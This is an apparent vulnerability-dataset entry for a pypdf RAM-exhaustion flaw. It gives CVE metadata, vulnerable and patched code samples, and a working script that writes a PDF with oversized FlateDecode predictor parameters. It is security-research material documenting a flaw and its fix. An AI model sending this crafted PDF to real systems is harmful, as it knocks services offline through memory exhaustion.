CVE-2026-41312
pypdf: A crafted PDF can lead to denial of service via RAM exhaustion.
- CVSS 4.8
- CWE-789
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. An attacker who uses a vulnerability present in versions prior to 6.10.2 can craft a PDF which leads to the RAM being exhausted. This requires accessing a stream compressed using `/FlateDecode` with a `/Predictor` unequal 1 and large predictor parameters. This has been fixed in pypdf 6.10.2. As a workaround, one may apply the changes from the patch manually.
- CWE
- CWE-789
- CVSS base score
- 4.8
- Published
- 2026-04-22
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade pypdf to version 6.10.2 or later.
Vulnerable code sample
# This code represents the vulnerable logic present in pypdf versions prior to 6.10.2.
# It simulates how the library would process parameters from a crafted PDF.
# Running this code on most systems will result in a MemoryError,
# demonstrating the denial-of-service vulnerability.
# In a malicious PDF, an attacker would control these parameters.
malicious_decode_parms = {
"/Predictor": 12, # A value other than 1 is required.
"/Columns": 2_000_000_000, # An extremely large value to cause RAM exhaustion.
"/Colors": 1,
"/BitsPerComponent": 8,
}
# The following is a minimal replication of the vulnerable code path
# in the FlateDecode filter of the unpatched library.
predictor = malicious_decode_parms.get("/Predictor", 1)
if predictor != 1:
columns = malicious_decode_parms.get("/Columns", 1)
colors = malicious_decode_parms.get("/Colors", 1)
bpc = malicious_decode_parms.get("/BitsPerComponent", 8)
# This calculation determines the size of a buffer to be allocated.
# With the malicious 'columns' value, 'row_length' becomes huge.
row_length = (colors * bpc * columns + 7) // 8 + colors
# THE VULNERABLE LINE:
# The library attempts to allocate a massive bytearray based on the
# attacker-controlled parameters, leading to RAM exhaustion.
prev_row = bytearray([0] * row_length)Patched code sample
import sys
# For this example, we use fixed limits. The actual patch has more complex logic.
MAX_COLUMNS = 1_000_000
MAX_ROWLENGTH = 10_000_000 # 10 MB
class PdfReadError(Exception):
"""A custom exception to match the library's behavior."""
pass
def _check_predictor_parameters(params: dict):
"""
This function represents the logic of the fix for the vulnerability.
It validates parameters from the PDF that are used to calculate
memory allocation sizes, preventing excessive RAM usage.
"""
if params is None:
return
# In pypdf, keys are NameObjects; here we use strings for simplicity.
columns = params.get("/Columns", 1)
# VULNERABILITY FIX: Check if the 'Columns' value is unreasonably large.
# Before the fix, a huge 'columns' value would lead to a huge 'rowlength'.
if not isinstance(columns, int) or not (0 < columns < MAX_COLUMNS):
raise PdfReadError(f"Invalid /Columns value in predictor: {columns}")
colors = params.get("/Colors", 1)
bpc = params.get("/BitsPerComponent", 8)
# This calculation determines the size of a buffer to be allocated.
rowlength = ((colors * bpc + 7) // 8) * columns + 1
# VULNERABILITY FIX: Check if the calculated buffer size exceeds a safe limit.
# Before the fix, this check did not exist, allowing 'rowlength' to trigger
# a massive memory allocation, exhausting system RAM.
if rowlength > MAX_ROWLENGTH:
raise PdfReadError("Row length calculated from predictor parameters is too large")
# Example of how this protective function would be called before processing:
# A malicious PDF might contain parameters like this:
malicious_params = {"/Columns": 999999999}
try:
# In a vulnerable version, the code would proceed to allocate memory.
# In a fixed version, this check is performed first.
_check_predictor_parameters(malicious_params)
# If the check passes, the code would continue to process the data stream.
except PdfReadError as e:
# The fix ensures this error is raised, preventing the vulnerable operation.
# The program can then handle the error gracefully instead of crashing.
passPayload
import zlib
import os
FILENAME = "exploit.pdf"
# A small piece of data to be compressed for the stream content.
compressed_data = zlib.compress(b"\x00")
# The core of the exploit: a stream dictionary with a FlateDecode filter
# and malicious DecodeParms.
# '/Predictor 12' is a valid PNG predictor (not 1, as required by the CVE).
# '/Columns 2147483647' sets the image width to a massive value (2^31 - 1).
# pypdf attempts to allocate memory for a buffer based on this width,
# causing RAM exhaustion (Denial of Service).
stream_dict = f"""<<
/Length {len(compressed_data)}
/Filter /FlateDecode
/DecodeParms <<
/Predictor 12
/Columns 2147483647
/Colors 1
/BitsPerComponent 8
>>
>>""".encode('latin-1')
# Build a minimal, valid PDF structure to host the malicious stream.
pdf_objects = []
def add_object(obj_id, data):
obj_str = f"{obj_id} 0 obj\n{data}\nendobj\n".encode('latin-1')
pdf_objects.append((obj_id, obj_str))
# Object 1: Catalog
add_object(1, "<< /Type /Catalog /Pages 2 0 R >>")
# Object 2: Page Tree
add_object(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
# Object 3: Page Object
add_object(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>")
# Object 4: The malicious stream object
malicious_obj_data = stream_dict + b"\nstream\n" + compressed_data + b"\nendstream"
add_object(4, malicious_obj_data)
# Write the PDF to a file.
with open(FILENAME, "wb") as f:
# PDF Header with a binary comment
header = b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n"
f.write(header)
offsets = {}
current_offset = len(header)
for obj_id, obj_data in pdf_objects:
offsets[obj_id] = current_offset
f.write(obj_data)
current_offset += len(obj_data)
# Cross-reference (XRef) table
xref_start_offset = current_offset
xref_table = f"xref\n0 {len(pdf_objects) + 1}\n"
xref_table += "0000000000 65535 f \n"
for obj_id in sorted(offsets.keys()):
xref_table += f"{offsets[obj_id]:010d} 00000 n \n"
f.write(xref_table.encode('latin-1'))
# PDF Trailer
trailer = f"""trailer
<<
/Size {len(pdf_objects) + 1}
/Root 1 0 R
>>
startxref
{xref_start_offset}
%%EOF
"""
f.write(trailer.encode('latin-1'))
Cite this entry
@misc{vaitp:cve202641312,
title = {{pypdf: A crafted PDF can lead to denial of service via RAM exhaustion.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-41312},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-41312/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
